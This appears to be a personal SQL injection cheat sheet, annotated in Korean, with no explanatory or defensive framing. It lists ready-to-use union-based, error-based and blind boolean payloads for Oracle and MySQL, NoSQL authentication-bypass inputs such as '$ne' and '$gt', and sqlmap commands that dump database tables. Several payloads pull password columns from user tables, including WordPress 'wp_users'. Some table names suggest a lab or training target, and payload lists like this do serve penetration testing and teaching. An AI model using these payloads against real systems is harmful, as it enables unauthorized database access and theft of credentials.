' order by 1--
# 데이터 형 조회
NULL 형 = ' union select null,null,null from dual --
숫자형 = ' union select null,null,123 from dual --
문자형 = ' union select null,null,'123' from dual --
# 테이블 명 조회 
' union select null,table_name,null,null from all_tables -- 
# 컬럼 명 조회
' union select null,column_name,null,null from all_tab_columns where table_name='useegod' --
# 데이터 조회
' union select null,alias,null,name from useegod --

# 테이블 개수 확인
a%' and ctxsys.drithsx.sn(user,(select count(table_name) from user_tables))=1 and '%1%'='%1
# 테이블 명 조회
a%' and ctxsys.drithsx.sn(user,(select table_name from (select table_name, rownum as rnum from user_tables) where rnum=1))=1 and '%1%'='%1
# 테이블 컬럼 갯수 조회
a%' and ctxsys.drithsx.sn(user,(select count(column_name) from all_tab_columns where table_name='useegod_ANSWER'))=1 and '%1%'='%1
# 컬럼 명 조회
a%' and ctxsys.drithsx.sn(user,(select column_name from (select column_name,rownum as rnum from all_tab_columns where table_name='useegod_ANSWER') where rnum=1))= 1 and '%1%'='%1
# 데이터 갯수 조회
a%' and ctxsys.drithsx.sn(user,(select count(ANSWER_COLUMN) from useegod_ANSWER))=1 and '%1%'='%1
# 데이터 조회
a%' and ctxsys.drithsx.sn(user,(select ANSWER_COLUMN from (select ANSWER_COLUMN, rownum as rnum from useegod_ANSWER) where rnum=1))=1 and '%1%'='%1

# 테이블 개수 확인
' and (select count(table_name) from all_tables) < 74 -- 
# 테이블 명 조회
' and ascii(substr((select table_name from (select rownum as rnum,table_name from user_tables) where rnum=1),1,1)) < 130 -- 
# 컬럼 개수 조회
' and (select count(column_name) from all_tab_columns where table_name='useegod')=21 --
# 컬럼명 조회
' and ascii(substr((select column_name from (select rownum as rnum, column_name from all_tab_columns where table_name ='useegod') where rnum=1),1,1)) < 130 --
# 데이터 수 조회
' and (select count(userID) from USEEGOD) < 324 --
# 데이터 조회
' AND ASCII(SUBSTR((SELECT userID FROM (SELECT ROWNUM AS RNUM, userID FROM USEEGOD) WHERE RNUM=1),1,1)) < 130 --

# 컬럼 개수 파악
' union select null,null from information_schema.tables --
# 컬럼 데이터 형 파악
' union select '1234',null from information_schema.tables --
# 테이블 명 조회
' union select table_name,null from information_schema.tables --
# 컬럼 명 조회
' union select column_name,null from information_schema.columns where table_name='user' --
# 데이터 확인
' union select id,null from users --
' union select name,null from users --
' union select pass,null from useres --

# 컬럼 개수 파악
' order by 24#
' or 1=2 union select 1,2,3,4,5,6,7,8,9,@@version,11#
# 테이블 명 조회
' or 1=2 union select 1,2,3,4,5,6,7,8,9,table_name,11 from information_schema.tables#
# 컬럼 명 조회
' or 1=2 union select 1,2,3,4,5,6,7,8,9,column_name,11 from information_schema.columns WHERE table_name='wp_users'#
# 데이터 확인
' or 1=2 union select 1,2,3,4,5,6,7,8,9,user_login,11 from wp_users#
' or 1=2 union select 1,2,3,4,5,6,7,8,9,user_pass,11 from wp_users#

a%' and extractvalue(rand(),concat(0x3a,version())) and '%1%'='%1
# 데이터베이스 명 조회
a%' and extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,schema_name) FROM information_schema.schemata LIMIT 0,1))) and '%1%'='%1
# 테이블 명 조회
a' and extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,TABLE_NAME) FROM information_schema.TABLES WHERE table_schema="skinfosec" LIMIT 0,1))) and '%1%'='%1
# 컬럼 명 조회
a%' and extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_NAME="eqst_answer" LIMIT 0,1))) and '%1%'='%1

# Basic authentication bypass using not equal ($ne) or greater ($gt)
in DATA
username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto

in JSON
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}

Normal sql: 
' or 1=1-- -
Mongo sql: 
' || 1==1//
' || 1==1%00
' || '1==1

sqlmap -r login.req
# 데이터베이스 조회
sqlmap -r login.req --dbs
# main 데이터베이스 내의 테이블 조회
sqlmap -r login.req -D main --tables
# main 데이터베이스 user 테이블 내용 덤프
sqlmap -r login.req -D main -T user --dump